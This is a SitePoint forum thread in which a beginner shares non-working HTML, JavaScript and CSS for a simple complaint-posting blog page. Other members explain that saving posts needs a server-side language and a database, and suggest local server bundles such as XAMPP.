SitePoint Sponsor

User Tag List

Results 1 to 8 of 8
  1. #1
    SitePoint Enthusiast
    Join Date
    Mar 2013
    Posts
    47
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Blog site submit comments

    Hello Everybody,

    Ok, so I have created this blog website. Very simplistic and straight forward. It needs to allow people to write in what they want, and then display that on the page. Right now I have only gotten that it reads the input but only displays it as alert windows and doesnt save it. Now unlike java it cant write to an external text file which is what i would need it to do and then display that content from the file on the page. So apparently I need a side server? what is this?

    I also would like that once someone has posted , people can comment underneath each post using facebook(which they have the code for on the sire but doesnt help me since i do not know how to display on the page.

    See code below.





    HTML Code:
    <!DOCTYPE HTML>
    		<html xmlns="http://www.w3.org/1999/xhtml">
    
    	
    		<head>
    		
    		<meta charset="UTF-8">
    		<link href="general.css" rel="stylesheet" type="text/css">
    		
    		
    		<script type="text/javascript">var switchTo5x=true;</script>
    <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
    <script type="text/javascript" src="http://s.sharethis.com/loader.js"></script>
    
    
    		<title>hellowarri.com</title>
    		
    		
    		
    		<!-- <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
    		<script type="text/javascript">stLight.options({publisher: "d2382559-c210-4c51-a5a7-efd3db4c665e", doNotHash: false, doNotCopy: false, hashAddressBar: false});</script> -->
    		
    		<script type="text/javascript">
    		
    		
    		function addMember()
    			  {
    				
    				alert("hello");
    				
    				var count=0; 
    				var complaintee = new Array();
    				
    				var list = document.getElementById("usernamed");
    				
    				var complaintee = new Object();
    				
    				var f = document.getElementById("complaint");//open form as f
    				complaintee.name = f.username.value;
    				complaintee.complaint = f.usercomplaint.value;
    				complaintee.count = count;
    				count++;
    				alert(complaintee.name+"+" + complaintee.complaint+"+"+complaintee.count);
    				reference.push(complaintee);
    				display();
    				
    				
    				
    			
    				
    				
    		
    		}
    		function display(){//empties current list and resubmits team members data
    			 
    						alert(complaintee.name+"+" + complaintee.complaint+"+"+complaintee.count);
    						var f = document.getElementById("complaint");
    						var list=document.getElementById("usernamed");//open form as list
    						var tex = "";//variable tex storage as ""
    						
    						for(var i=0; i<reference.complaining.length; i++)
    						{
    								tex= String(reference.complaining[i].name)+", "+String(reference.complaining[i].complaint);//set tex as surname and name
    								list.options[i] = new Option(tex,tex);//add option to selection box
    								
    						}
    						f.username.value="";
    						f.usercomplaint.value="";
    						
    				}
    		</script>
    		
    <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
    <script type="text/javascript">stLight.options({publisher: "d2382559-c210-4c51-a5a7-efd3db4c665e", doNotHash: false, doNotCopy: false, hashAddressBar: true});</script>
    		</head>
    				
    		<body id="wrap">
    		<!-- BEGIN: Powered by Supercounters.com -->
    		
    <!-- END: Powered by Supercounters.com -->
    	
    		<div class="top_bar">
    		
    		<!-- <div class="left_bar">
    		</div> -->
    		<ul class="nav">
    		
    		<li class="middle_bar">
    	
    		</li>
    		</ul>
    		<!-- <div class="right_bar">
    		</div>  -->
    		
    		</div>
    		<div class="counter">
    		<script type="text/javascript" src="http://widget.supercounters.com/flag.js" ></script><script type="text/javascript">sc_flag(649344,"222222","f5edf5","000000",1,10,1,0)</script><br><noscript><a href="http://www.supercounters.com/">Flag Counter</a></noscript>
    		<div class="rules">
    		<p style="text-align:center;">RULES</p>
    		<p style="margin-left: 10px;">1.Complain about anything on your mind!ANYTHING!</p>
    		<p style="margin-left: 10px;">2.No Swearing(you can use eg.S**T), deletion will occur!</p>
    		<p style="margin-left: 10px;">3.SHARE</p>
    		</div>
    		<div>
    		<span class='st_facebook_vcount' displayText='Facebook'></span><span class='st_twitter_vcount' displayText='Tweet'></span><br><br><span class='st_fblike_hcount' displayText='Facebook Like'></span>
    		<span class='st_plusone_hcount' displayText='Google +1'></span>
    		<span class='st_twitterfollow_hcount' displayText='Twitter Follow'></span>
    		<div id="fb-root"></div>
    <script>(function(d, s, id) {
      var js, fjs = d.getElementsByTagName(s)[0];
      if (d.getElementById(id)) return;
      js = d.createElement(s); js.id = id;
      js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
      fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));</script>
    		
    		</div>
    		
    		
    		
    		
    		
    		
    		</div>
    		<div class="whole">
    		
    		<div class="header_container">
    
    		<div class="header_main">
    		
    		</div>
    		</div>
    		
    		<div class="content">
    		<div class="updates">
    	<!-- 	<div class="instructions">
    		<p style="font-size:1.5em; color:maroon; text-align :left;padding-left:10px;">Feeling down?Frustrated?ANGRY? Having relationship troubles?Friendship troubles?Work Problems?People b*itching that you complain too much?
    		   I dont really give a shi*t, but I wanna hear about it. 
    			
    		</p>
    		<p style="font-size:1.5em; color:maroon; text-align :left;padding-left:10px;">
    		EXPRESS YOURSELF HOWEVER YOU WANT. TRY NOT TO SWEAR TOO MUCH PLEASE.
    			
    		</p>
    		
    		</div> -->
    		
    		<form id="complaint" action="FormProcessor.html" method="get" enctype="application/x-www-form-urlencoded">
    		<div class="gameR">
    		
    		<img src="DJ6.png" style="width :686px; height:30px; "></img><br><br>
    		
    		
    		
    		<div class="list"><p><iframe src="FormProcessor.asp" width=575 height=400 frameborder=0 ></iframe></p></div>
    		<div id="fb-root"></div>
    
    		<!-- <select id="usernamed" name="usernamed" size="5" style="width:50px;margin-left:54px"><br><br>
    		</select> -->
    		<!-- LikeBtn.com BEGIN -->
    		<br>
    		<div style="padding:10px;">
    		<div class="nameCon">
    		<img src="name.png" style="width :272.9px; height:25px;margin-left:45px"></img><br>
    		<input id="username" type="text" name="username" size="40.9"; maxlength="15" style="margin-left:45px"><br><br>
    		</div>
    		<div class="complaint">
    		<img src="complaint.png" style="width :575px; height:35px;text-align:center; "></img>
    		<textarea id="usercomplaint" name="usercomplaint" style=" height: 150px;width:570px; margin-bottom:11px;resize: none;" value=""></textarea>
    		</div>
    		<input type="submit"  value="Add Complaint" style="align:right;margin-left:46px;margin-bottom:10px;">
    		</div>
    		</div>
    		</form>
    		
    
    		
    		</div>
    		
    		<!-- <iframe replaced="true" src="http://cdncache-a.akamaihd.net/ssa/115/?zoneid=200569&amp;cid=ZA&amp;pid=1356&amp;referer=http%3A%2F%2Fwww.ign.com%2Fgames%2Fdayz-stand-alone%2Fpc-145318&amp;pl=above&amp;ch=games" width="300" height="250" frameborder="0" scrolling="no" id="z_200569_300_250_1" style="margin-top:1px; float:left;"></iframe>
    		<iframe replaced="true" src="http://cdncache-a.akamaihd.net/ssa/115/?zoneid=235440&amp;cid=ZA&amp;pid=1356&amp;referer=http%3A%2F%2Fwww.ign.com%2F&amp;pl=above&amp;ch=games" width="300" height="250" frameborder="0" scrolling="no" id="z_235440_300_250_1" style="margin-top:1px;float:left;"></iframe>
    		<br><div class="iframewindow">
    		
    		</div> -->
    		
    		
    		</div>
    		</div>
    		<div class="footer"></div>
    		
    			
    		</body>
    		
    	<script type="text/javascript">stLight.options({publisher: "d2382559-c210-4c51-a5a7-efd3db4c665e", doNotHash: false, doNotCopy: false, hashAddressBar: true});</script>
    <script>
    var options={ "publisher": "d2382559-c210-4c51-a5a7-efd3db4c665e", "position": "right", "ad": { "visible": false, "openDelay": 5, "closeDelay": 0}, "chicklets": { "items": ["linkedin", "pinterest", "blogger", "google_reader", "evernote", "sharethis"]}};
    var st_hover_widget = new sharethis.widgets.hoverbuttons(options);
    </script>
    
    		</html>







    See Css below

    Code:
    #wrap{ 
    	/* width: 100%; */
    	margin: auto; 
    	min-height: 100%;
    	height: auto !important;
    	height: 100%;
    	margin: 0 auto;
    	/* background:url(blue.png); */
    	background-size: cover;
    	background-color:rgb(55,54,52);
    }
    
    #bg{
      width: 100%;
      height:100%;
      min-width:1000px;
      min-height: 750px;
      position: absolute;
      top: 0;
      left: 0;
    }
    
    div.header_main{
    
    	
    	text-align : center;
    	width: 686px;
    	min-width:686px;
    	max-width:686px;
    	height: 350px;
    	margin-left:auto;
    	margin-right:auto;
    	margin-top : 275px;
    	border : solid;
    	border-width : 1px;
    	display:block;
    	background:url("Header.png");
    
    	
    	
    
    }
    
    div.instructions{
    
    	border:solid;
    	width : 686px;
    	min-width:40px;
    	margin-bottom:11px;
    	border-width : 1px;
    
    
    
    }
    div.counter{
    
    float:right; 
    left:0px;
    top:150px;position:fixed; display:block;"
    
    
    }
    div.rules{
    margin-top:-5px;
    width:200px;
    height: 200px;
    border:solid;
    border-width:1px;
    Background-color:white;
    padding:0px;
    
    
    
    }
    div.header_container{
    
    	margin-top:-30px;
    	display:block;
    	overflow: hidden;
    	
    	
    
    }
    div.top_bar{
    	
      
        margin:0;
        overflow:hidden;
    	background:url("footer2.png");
    	background-attachment: scroll;
    	display: block;
    	position: fixed;
    	right: 0px;
    	left: 0px;
    	top: 0;
    	z-index: 999;
    	height:150px;
    	
    	
    	
    	
    }
    ul.nav{
    
    	width: 500px;
    	margin: 0 auto;
    	Height:150px;
    	background-image:url('footer.png');
    	margin-left:50px;s
    
    	
    
    }
    li.middle_bar{
    
    	
    	/* display : block;
    	width: 192px;
    	min-width:192px;
    	max-width:192px;
    	height : 80px;
    	left:auto;
    	right:auto; */
    	
    	display: block;
    	text-decoration: none;
    	color: #777;
    	
    	/* background: url#fffccc; */
    	padding: 0px;
    	margin: 0px auto;
    	text-align:center;
    	
    	
    
    }
    div.right_bar{
    
    	
    	display : block;
    	position:relative;
    	width: 386px;
    	min-width:386px;
    	height : 80px;
    	float : left;
    	
    	margin-right:-97px;
    	
    	
    }
    div.whole{
    	/* background-image:url('white.png');
    	background-size : 100% 100%; */
    	background-color: white;
    	margin-top:-99px;
    	width: 1000px;
    	min-width:1000px;
    	max-width:1000px;
    	margin-left:auto;
    	margin-right:auto;
    	border-left : solid ;
    	border-right : solid ;
    	border-width : 1px;
    	margin-bottom:-99px;
    	
    	
    	
    
    
    }
    /* div.left_panel{
    	
    	
    	display : block;
    	float : left;
    	position: relative;
    	width:44px;
    	height:600px;
    	
    	
    	
    }
    div.right_panel{
    	
    	display : block;
    	float : right;
    	position: relative;
    	width:44px;
    	height:600px;
    	
    	
    } */
    div.window{
    	display: block;
    	margin-left: auto;
    	margin-right: auto;
    	width: 688px;
    	min-width:688px;
    	max-width:688px;
    	height:400px;
    	padding : 0px;
    	margin-bottom: 0px;
    	
    	
    }
    video.vid1{
    	
    	border-style:outset;
    	border-width:1px;	
    	width: 135.6px;
    	height:398px;
    	float:left;
    	position :relative;
    	margin-bottom : 0px;
    	
    
    
    }
    
    div.content{
    	/* display : block; */
    	
    	width: 688px;
    	min-width:688px;
    	max-width:688px;
    	height:100%;
    	text-align: center;
    	background-color: white;
    	margin-left:auto;
    	margin-right:auto;
    	margin-top:11px;
    	margin-bottom : 30px;
    	background-color: white;
    	display:block;
    	overflow: hidden;
    	
    }
    
    div.footer{
       
    	
        overflow:hidden;
    	margin-top:0px;
    	background:url("footer_2.png");
    	background-attachment: scroll;
    	display: block;
    	margin-bottom :0px;
    	right: 0px;
    	left: 0px;
    	top: 0px;
    	z-index: 999;
    	height:225px;
    	
    	
    	
    /* position:relative;
    bottom:0px;
    height : 80px;
    margin-left:0px;
    
    /* width: 964px;
    min-width:964px;
    max-width:964px;
    text-align : center; */
    }
    div.iframewindow{
    
    	display: block;
    	margin-left: auto;
    	margin-right: auto;
    	width: 680px;
    
    	height:200px;
    	padding : 0px;
    	overflow:auto;
    
    	
    }
    
    iframe.mixcloud{
    
    	
    	width:80px;
    	height:80px;
    	float:left;
    	position :relative;
    	padding: 20px;
    	margin-left: auto ;
    	margin-right: auto ;
    	border-bottom : dashed;
    	border-width: 1px;
    
    
    
    	
    	
    }
    div.advert-horizon{
    
    	
    	margin-bottom : 91px;
    	margin-left : auto;
    	margin-right :auto;
    	text-align: center;
    	border : solid;
    	border-width : 1px;
    	height : 90px;
    	width : 686px;
    
    
    
    
    
    
    }
    
    
    div.gameR{
    	
    	
    	
    	
    	float:left;
    	width: 686px;
    	max-width: 686px;
    	text-align:left;
    	margin-top:0px;
    	border-left : solid;
    	border-right : solid;
    	border-bottom : solid;
    	border-top : solid;
    	border-width : 1px;
    	margin-bottom:100px;
    	color:maroon;
    	border-color:black;
    	
    			
    }
    div.updates{
    	
    	
    	
    	margin-left : auto;
    	margin-right :auto;
    	width: 688px;
    	max-width: 688px;
    	height : 480px;
    	
    	
    	text-align: center;
    			
    }
    div.complaint{
    text-align:center;
    
    }
    div.nameCom{
    text-align:center;
    
    }
    div.list{
    
    	margin-left:45px;
    	width :575px;
    
    
    
    }
    #outerdiv {
    
    
    width: 200px; 
    height:250px;
    position: relative;
    
    
    
    }
    #innerdiv {
    position: Relative; left: 0px; top: 0px; clip:rect(0px 0px 0px 0px);
    }

    Please help guys. I have been googling for hours.


    Thanks

  2. #2
    SitePoint Enthusiast
    Join Date
    Mar 2013
    Posts
    47
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Bump

    Sent from my GT-I9500 using Tapatalk 2

  3. #3
    SitePoint Zealot moretea's Avatar
    Join Date
    Jun 2004
    Location
    Texas, USA
    Posts
    118
    Mentioned
    2 Post(s)
    Tagged
    0 Thread(s)
    You need a server-side technology (PHP, .NET, ColdFusion, etc.) that will allow you to connect to a database of some sort and store user input. You will need to change the name of FormProcessor.html to match your server-side technology, and make that same change in the action attribute of your <form> tag. Then, you'll need to add logic to a new or existing page to retrieve input from the database and display it on the page.

    When all is said and done, it sounds like you are trying to reinvent the wheel. There are plenty of good blogging and CMS tools out there (WordPress, Blogger, Drupal, Joomla, just to name a few) that will do what you're trying to do. Or are you doing this as more of an exercise?

  4. #4
    SitePoint Enthusiast
    Join Date
    Mar 2013
    Posts
    47
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by moretea View Post
    You need a server-side technology (PHP, .NET, ColdFusion, etc.) that will allow you to connect to a database of some sort and store user input. You will need to change the name of FormProcessor.html to match your server-side technology, and make that same change in the action attribute of your <form> tag. Then, you'll need to add logic to a new or existing page to retrieve input from the database and display it on the page.

    When all is said and done, it sounds like you are trying to reinvent the wheel. There are plenty of good blogging and CMS tools out there (WordPress, Blogger, Drupal, Joomla, just to name a few) that will do what you're trying to do. Or are you doing this as more of an exercise?
    Hey man, im doing this more as an exercise. HTML is also more customizable. Eventually when i get further into my Degree and learn more advanced methods I will be updating the website accordingly.

    Is there maybe not a way to post it directly onto the webpage? like onto a label? then the site creates a new label for the next post?

  5. #5
    Programming Team silver trophybronze trophy
    Mittineague's Avatar
    Join Date
    Jul 2005
    Location
    West Springfield, Massachusetts
    Posts
    17,156
    Mentioned
    190 Post(s)
    Tagged
    2 Thread(s)
    moretea is correct in saying you'll need a server-side language. With only HTML and Javascript you could redisplay the comment, but if you want to show ir to others you'll need to save it somehow. A file would work I guess but a database would be the best.

    You are reinventing the wheel, but if you learn better by doing than you do by analyzing (and you have the time) why not?

    Do you have a server? What languages and databases does it support?

  6. #6
    SitePoint Enthusiast
    Join Date
    Mar 2013
    Posts
    47
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by Mittineague View Post
    moretea is correct in saying you'll need a server-side language. With only HTML and Javascript you could redisplay the comment, but if you want to show ir to others you'll need to save it somehow. A file would work I guess but a database would be the best.

    You are reinventing the wheel, but if you learn better by doing than you do by analyzing (and you have the time) why not?

    Do you have a server? What languages and databases does it support?
    Hey man , thanks for the response. I dont have a server actually i am using free hosting at the moment. My budget isnt quite that big yet.

    Not sure what to do though.

  7. #7
    SitePoint Wizard bronze trophy chris.upjohn's Avatar
    Join Date
    Apr 2010
    Location
    Melbourne, AU
    Posts
    2,191
    Mentioned
    17 Post(s)
    Tagged
    1 Thread(s)
    You could look at an SQLite solution which only works in Chrome and Firefox but its a little bit complex if you don't know how to use NodeJS and MySQL.

    https://github.com/kripken/sql.js

  8. #8
    Programming Team silver trophybronze trophy
    Mittineague's Avatar
    Join Date
    Jul 2005
    Location
    West Springfield, Massachusetts
    Posts
    17,156
    Mentioned
    190 Post(s)
    Tagged
    2 Thread(s)
    Quote Originally Posted by djCurzed View Post
    Hey man , thanks for the response. I dont have a server actually i am using free hosting at the moment. My budget isnt quite that big yet.

    Not sure what to do though.
    I'd be surprised if the free host didn't have some server-side language(s) - most likely PHP

    In any case, I think it would be a good idea to install a server and database on your computer.
    If you don't want to install things separately you could try bundles like WAMP, XAMPP, EasyPHP etc.

    Having a localhost server will allow you to work off-line and you'll be able to use it for development.

    If you have a grasp on HTML, CSS and Javascript you're off to a good start and are already ahead of many that start with WordPress but have no idea of how to modify things.

    You need to decide what language and database you want to start with, there are many options. But you will have no trouble finding hosts for Apache, MySQL, PHP


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •